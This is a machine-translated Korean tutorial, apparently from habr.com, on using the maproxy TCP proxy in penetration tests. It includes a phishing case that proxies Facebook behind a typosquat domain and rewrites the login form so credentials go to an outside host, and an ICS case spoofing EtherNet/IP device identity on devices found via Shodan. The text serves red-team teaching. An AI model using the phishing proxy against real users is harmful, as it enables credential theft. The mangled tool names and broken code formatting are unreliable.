์ฆ‰์„์—์„œ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ

๊ธฐ์‚ฌ์˜ ๋ฒˆ์—ญ์€ ๊ณผ์ • ์‹œ์ž‘ ์ „๋‚ ์— ์ค€๋น„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. โ€œ์˜ค์ˆœ์ ˆ. ์นจํˆฌ ํ…Œ์ŠคํŠธ ์‹ค์Šต".

์ฆ‰์„์—์„œ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ

์ถ”์ƒ

์ •๊ธฐ์ ์ธ ์นจํˆฌ ํ…Œ์ŠคํŠธ์™€ Red Team ์šด์˜๋ถ€ํ„ฐ IoT/ICS ์žฅ์น˜ ๋ฐ SCADA ํ•ดํ‚น์— ์ด๋ฅด๊ธฐ๊นŒ์ง€ ๋‹ค์–‘ํ•œ ์œ ํ˜•์˜ ๋ณด์•ˆ ํ‰๊ฐ€์—๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ ์ž‘์—…, ์ฆ‰ ๋ณธ์งˆ์ ์œผ๋กœ ํด๋ผ์ด์–ธํŠธ์™€ ๋Œ€์ƒ ๊ฐ„์˜ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€๋กœ์ฑ„๊ณ  ์ˆ˜์ •ํ•˜๋Š” ์ž‘์—…์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. Wireshark, Tcpdump ๋˜๋Š” Scapy์™€ ๊ฐ™์€ ๋„๊ตฌ๊ฐ€ ์žˆ์œผ๋ฏ€๋กœ ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ์Šค๋‹ˆํ•‘ํ•˜๋Š” ๊ฒƒ์€ ์–ด๋ ค์šด ์ž‘์—…์ด ์•„๋‹ˆ์ง€๋งŒ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๊ณ , ํ•„ํ„ฐ๋งํ•˜๊ณ , ๋ณ€๊ฒฝํ•˜๋ ค๋ฉด ์ผ์ข…์˜ ์ธํ„ฐํŽ˜์ด์Šค๊ฐ€ ํ•„์š”ํ•˜๋ฏ€๋กœ ์ˆ˜์ •์€ ๋” ๋…ธ๋™ ์ง‘์•ฝ์ ์ธ ์ž‘์—…์ธ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค. ์ฆ‰์„์—์„œ ๊ฑฐ์˜ ์‹ค์‹œ๊ฐ„์œผ๋กœ ๋Œ€์ƒ ํ˜ธ์ŠคํŠธ๋กœ ๋‹ค์‹œ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ๋˜ํ•œ ์ด๋Ÿฌํ•œ ๋„๊ตฌ๊ฐ€ ๋‹ค์ค‘ ๋ณ‘๋ ฌ ์—ฐ๊ฒฐ๊ณผ ์ž๋™์œผ๋กœ ์ž‘๋™ํ•˜๊ณ  ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž ์ •์˜ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ด์ƒ์ ์ž…๋‹ˆ๋‹ค.

์–ด๋Š ๋‚  ์ €๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค. maproxy, ๋ฌธ์„œ๋ฅผ ํ†ตํ•ด ์‹ ์†ํ•˜๊ฒŒ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‚ฌ์‹ค์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. maproxy โ€“ ๋‚˜์—๊ฒŒ ๋”ฑ ํ•„์š”ํ•œ ๊ฒƒ. ์ด๋Š” ๋งค์šฐ ๊ฐ„๋‹จํ•˜๊ณ  ๋‹ค์–‘ํ•˜๋ฉฐ ์‰ฝ๊ฒŒ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” TCP ํ”„๋ก์‹œ์ž…๋‹ˆ๋‹ค. ๋‚˜๋Š” ์ด ๋„๊ตฌ๊ฐ€ ๋งŽ์€ ๋ณ‘๋ ฌ ์—ฐ๊ฒฐ์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ICS ์žฅ์น˜(๋งŽ์€ ํŒจํ‚ท์„ ์ƒ์„ฑํ•˜๋Š”)๋ฅผ ํฌํ•จํ•˜์—ฌ ์ƒ๋‹นํžˆ ๋ณต์žกํ•œ ์—ฌ๋Ÿฌ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์—์„œ ํ…Œ์ŠคํŠธํ–ˆ์œผ๋ฉฐ ๋„๊ตฌ๊ฐ€ ์ž˜ ์ž‘๋™ํ–ˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ธฐ์‚ฌ์—์„œ๋Š” ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ฆ‰์‹œ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์†Œ๊ฐœํ•ฉ๋‹ˆ๋‹ค. maproxy.

๊ฒ€ํ† 

์ˆ˜๋‹จ maproxy Python์˜ ์ธ๊ธฐ ์žˆ๊ณ  ์„ฑ์ˆ™ํ•œ ๋น„๋™๊ธฐ ๋„คํŠธ์›Œํ‚น ํ”„๋ ˆ์ž„์›Œํฌ์ธ Tornado๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์œผ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์—ฌ๋Ÿฌ ๋ชจ๋“œ๋กœ ์ž‘๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • TCP:TCP โ€“ ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ TCP ์—ฐ๊ฒฐ;
  • TCP:SSL ะธ SSL:TCP โ€“ ๋‹จ๋ฐฉํ–ฅ ์•”ํ˜ธํ™” ์‚ฌ์šฉ
  • SSL:SSL โ€“ ์–‘๋ฐฉํ–ฅ ์•”ํ˜ธํ™”.

๋„์„œ๊ด€์ฒ˜๋Ÿผ ๋‚˜์˜ค๋„ค์š”. ๋น ๋ฅธ ์‹œ์ž‘์„ ์œ„ํ•ด ๊ธฐ๋ณธ ๋‚ด์šฉ์„ ๋ฐ˜์˜ํ•˜๋Š” ์˜ˆ์ œ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๊ธฐ๋Šฅ:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

์‚ฌ๋ก€ 1 - ๋‹จ์ˆœ ์–‘๋ฐฉํ–ฅ ํ”„๋ก์‹œ

์— ๊ธฐ์ดˆ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

๊ธฐ๋ณธ์ ์œผ๋กœ ProxyServer() ์—ฐ๊ฒฐ ์œ„์น˜์™€ ๋Œ€์ƒ ํฌํŠธ๋ผ๋Š” ๋‘ ๊ฐ€์ง€ ์ธ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. server.listen() ํ•˜๋‚˜์˜ ์ธ์ˆ˜, ์ฆ‰ ๋“ค์–ด์˜ค๋Š” ์—ฐ๊ฒฐ์„ ์ˆ˜์‹ ํ•˜๊ธฐ ์œ„ํ•œ ํฌํŠธ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰:

# python tcp2tcp.py

ํ…Œ์ŠคํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ํ”„๋ก์‹œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ†ตํ•ด ๋กœ์ปฌ SSH ์„œ๋ฒ„์— ์—ฐ๊ฒฐํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. 2222/tcp ํฌํŠธ๋ฅผ ์—ฐ๊ฒฐํ•˜๊ณ  ํ‘œ์ค€ ํฌํŠธ์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. 22/tcp SSH ์„œ๋ฒ„:

์ฆ‰์„์—์„œ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ

ํ™˜์˜ ๋ฐฐ๋„ˆ๋Š” ์˜ˆ์ œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ์„ฑ๊ณต์ ์œผ๋กœ ํ”„๋ก์‹œํ–ˆ์Œ์„ ์•Œ๋ ค์ค๋‹ˆ๋‹ค.

์‚ฌ๋ก€ 2 - ๋ฐ์ดํ„ฐ ์ˆ˜์ •

๋˜ ๋‹ค๋ฅธ ๋ฐ๋ชจ ์Šคํฌ๋ฆฝํŠธ logging_proxy.py ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ์™€ ์ƒํ˜ธ ์ž‘์šฉํ•˜๋Š” ๋ฐ ์ด์ƒ์ ์ž…๋‹ˆ๋‹ค. ํŒŒ์ผ์˜ ์ฃผ์„์€ ๋ชฉํ‘œ๋ฅผ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ํด๋ž˜์Šค ๋ฉ”์„œ๋“œ๋ฅผ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค.

์ฆ‰์„์—์„œ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ

๊ฐ€์žฅ ํฅ๋ฏธ๋กœ์šด ์ ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • on_c2p_done_read โ€“ ํด๋ผ์ด์–ธํŠธ์—์„œ ์„œ๋ฒ„๋กœ ๊ฐ€๋Š” ๋„์ค‘์— ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€๋กœ์ฑ„๊ธฐ ์œ„ํ•ด
  • on_p2s_done_read - ๋ฐ˜๋Œ€.

์„œ๋ฒ„๊ฐ€ ํด๋ผ์ด์–ธํŠธ์— ๋ฐ˜ํ™˜ํ•˜๋Š” SSH ๋ฐฐ๋„ˆ๋ฅผ ๋ณ€๊ฒฝํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

[โ€ฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โ€ฆ]

์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์ฆ‰์„์—์„œ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ

๋ณด์‹œ๋‹ค์‹œํ”ผ ํด๋ผ์ด์–ธํŠธ์˜ SSH ์„œ๋ฒ„ ์ด๋ฆ„์ด ๋‹ค์Œ์œผ๋กœ ๋ณ€๊ฒฝ๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ž˜๋ชป ์ธ๋„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ยซDumnySSHยป.

์ฆ‰์„์—์„œ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ

์‚ฌ๋ก€ 3 - ๋‹จ์ˆœ ํ”ผ์‹ฑ ์›นํŽ˜์ด์ง€

์ด ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋์ด ์—†์Šต๋‹ˆ๋‹ค. ์ด๋ฒˆ์—๋Š” ๋ ˆ๋“œํŒ€ ์šด์˜ ์ธก๋ฉด์—์„œ ์ข€ ๋” ์‹ค์šฉ์ ์ธ ๊ฒƒ์— ์ดˆ์ ์„ ๋งž์ถฐ ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ๋žœ๋”ฉํŽ˜์ด์ง€๋ฅผ ํ‰๋‚ด๋‚ด์ž m.facebook.com ์˜ˆ๋ฅผ ๋“ค์–ด, ์˜๋„์ ์ธ ์˜คํƒ€๊ฐ€ ์žˆ๋Š” ์‚ฌ์šฉ์ž ์ •์˜ ๋„๋ฉ”์ธ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. m.facebok.com. ์„ค๋ช…์„ ์œ„ํ•ด ๋„๋ฉ”์ธ์ด ์šฐ๋ฆฌ์— ์˜ํ•ด ๋“ฑ๋ก๋˜์—ˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๋Š” ํ”ผํ•ด์ž ํ”„๋ก์‹œ ๋ฐ SSL ์ŠคํŠธ๋ฆผ์„ ์‚ฌ์šฉํ•˜์—ฌ Facebook ์„œ๋ฒ„์— ๋Œ€ํ•œ ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•  ์˜ˆ์ •์ž…๋‹ˆ๋‹ค(31.13.81.36). ์ด ์˜ˆ์ œ๊ฐ€ ์ž‘๋™ํ•˜๋„๋ก ํ•˜๋ ค๋ฉด HTTP ํ˜ธ์ŠคํŠธ ํ—ค๋”๋ฅผ ๊ต์ฒดํ•˜๊ณ  ์˜ฌ๋ฐ”๋ฅธ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„์„ ์‚ฝ์ž…ํ•ด์•ผ ํ•˜๋ฉฐ, ์ฝ˜ํ…์ธ ์— ์‰ฝ๊ฒŒ ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ๋„๋ก ์‘๋‹ต ์••์ถ•๋„ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. ๊ถ๊ทน์ ์œผ๋กœ ์šฐ๋ฆฌ๋Š” ๋กœ๊ทธ์ธ ์ž๊ฒฉ ์ฆ๋ช…์ด Facebook ์„œ๋ฒ„ ๋Œ€์‹  ์šฐ๋ฆฌ์—๊ฒŒ ์ „์†ก๋˜๋„๋ก HTML ์–‘์‹์„ ๋Œ€์ฒดํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

[โ€ฆ]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ko/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โ€ฆ]

๊ฒฐ๊ณผ :

์ฆ‰์„์—์„œ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ

๋ณด์‹œ๋‹ค์‹œํ”ผ ์›๋ณธ ์‚ฌ์ดํŠธ๋ฅผ ์„ฑ๊ณต์ ์œผ๋กœ ๊ต์ฒดํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ๋ก€ 4 โ€“ ์ด๋”๋„ท/IP ํฌํŒ…

์ €๋Š” ํ”„๋กœ๊ทธ๋ž˜๋ฐ ๊ฐ€๋Šฅ ์ปจํŠธ๋กค๋Ÿฌ(PLC), I/O ๋ชจ๋“ˆ, ๋“œ๋ผ์ด๋ธŒ, ๋ฆด๋ ˆ์ด, ๋ž˜๋” ํ”„๋กœ๊ทธ๋ž˜๋ฐ ํ™˜๊ฒฝ ๋“ฑ๊ณผ ๊ฐ™์€ ์‚ฐ์—…์šฉ ์žฅ์น˜ ๋ฐ ์†Œํ”„ํŠธ์›จ์–ด(ICS/SCADA)๋ฅผ ์˜ค๋žซ๋™์•ˆ ๋‹ค๋ฃจ์–ด ์™”์Šต๋‹ˆ๋‹ค. ์‚ฐ์—…์šฉ ๋ฌผ๊ฑด์„ ์ข‹์•„ํ•˜๋Š” ๋ถ„๋“ค์„ ์œ„ํ•œ ์ผ€์ด์Šค์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์†”๋ฃจ์…˜์„ ํ•ดํ‚นํ•˜๋ ค๋ฉด ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ์„ ์ ๊ทน์ ์œผ๋กœ ํ™œ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ ์˜ˆ์—์„œ๋Š” ICS/SCADA ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ์ˆ˜์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ฃผ๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค.

์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

  • ๋„คํŠธ์›Œํฌ ์Šค๋‹ˆํผ(์˜ˆ: Wireshark)
  • ์ด๋”๋„ท/IP ๋˜๋Š” SIP ์žฅ์น˜๋Š” Shodan ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์šฐ๋ฆฌ์˜ ์Šคํฌ๋ฆฝํŠธ๋Š” ๋‹ค์Œ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. maproxy.

๋จผ์ € CIP(Common Industrial Protocol)์˜ ์ผ๋ฐ˜์ ์ธ ์‹๋ณ„ ์‘๋‹ต์ด ์–ด๋–ค ๊ฒƒ์ธ์ง€ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

์ฆ‰์„์—์„œ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ

์žฅ์น˜ ์‹๋ณ„์€ CIP์™€ ๊ฐ™์€ ์ œ์–ด ํ”„๋กœํ† ์ฝœ์„ ํฌํ•จํ•˜๋Š” ์‚ฐ์—…์šฉ ์ด๋”๋„ท ํ”„๋กœํ† ์ฝœ์˜ ํ–ฅ์ƒ๋œ ๋ฒ„์ „์ธ ์ด๋”๋„ท/IP ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. ์Šคํฌ๋ฆฐ์ƒท์— ํ‘œ์‹œ๋œ ๊ฐ•์กฐ ํ‘œ์‹œ๋œ ID ์ด๋ฆ„์„ ๋ณ€๊ฒฝํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. "์ด๋”๋„ท์šฉ NI-IndComm" ํ”„๋ก์‹œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์žฌ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. logging_proxy.py ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ํด๋ž˜์Šค ๋ฉ”์„œ๋“œ๋ฅผ ์ˆ˜์ •ํ•ฉ๋‹ˆ๋‹ค. on_p2s_done_read, ํด๋ผ์ด์–ธํŠธ์— ๋‹ค๋ฅธ ID ์ด๋ฆ„์ด ํ‘œ์‹œ๋˜๊ธฐ๋ฅผ ์›ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์ฝ”๋“œ :

[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โ€ฆ]

๊ธฐ๋ณธ์ ์œผ๋กœ ์šฐ๋ฆฌ๋Š” ์žฅ์น˜ ์‹๋ณ„์„ ๋‘ ๋ฒˆ ์š”์ฒญํ–ˆ๋Š”๋ฐ ๋‘ ๋ฒˆ์งธ ์‘๋‹ต์€ ์›๋ž˜ ์‘๋‹ต์ด์—ˆ๊ณ  ์ฒซ ๋ฒˆ์งธ ์‘๋‹ต์€ ์ฆ‰์„์—์„œ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ๋งˆ์ง€๋ง‰์œผ๋กœ

๋‚ด ์˜๊ฒฌ์œผ๋กœ๋Š” maproxy Python์œผ๋กœ๋„ ์ž‘์„ฑ๋œ ํŽธ๋ฆฌํ•˜๊ณ  ๊ฐ„๋‹จํ•œ ๋„๊ตฌ์ด๋ฏ€๋กœ ์—ฌ๋Ÿฌ๋ถ„๋„ ์ด ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ด์ ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค๊ณ  ๋ฏฟ์Šต๋‹ˆ๋‹ค. ๋ฌผ๋ก  ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ณ  ์ˆ˜์ •ํ•˜๊ธฐ ์œ„ํ•œ ๋” ๋ณต์žกํ•œ ๋„๊ตฌ๊ฐ€ ์žˆ์ง€๋งŒ ๋” ๋งŽ์€ ์ฃผ์˜๊ฐ€ ํ•„์š”ํ•˜๋ฉฐ ์ผ๋ฐ˜์ ์œผ๋กœ ํŠน์ • ์‚ฌ์šฉ ์‚ฌ๋ก€(์˜ˆ: ๋ฌด๋ผ์—๋‚˜, ๋ชจ๋“ค๋ฆฌ์Šˆ์นด ๋˜๋Š” ์•…๊ท€ ์„ธ ๋ฒˆ์งธ์™€ ์œ ์‚ฌํ•œ ๊ฒฝ์šฐ ๋˜๋Š” ์นด๋‚˜ํŽ˜ ๋งˆ์ง€๋ง‰ ์‚ฌ๊ฑด์˜ ๊ฒฝ์šฐ. ์–ด๋–ค ์‹์œผ๋กœ๋“  ๋„์›€์„ ๋ฐ›์•„ maproxy ์˜ˆ์ œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋งค์šฐ ๋ช…ํ™•ํ•˜๋ฏ€๋กœ ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€๋กœ์ฑ„๊ธฐ ์œ„ํ•œ ์•„์ด๋””์–ด๋ฅผ ๋น ๋ฅด๊ฒŒ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Windows AD์—์„œ ์ธ์ฆ ๋ฉ”์ปค๋‹ˆ์ฆ˜ ํ…Œ์ŠคํŠธ

์ถœ์ฒ˜ : habr.com

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€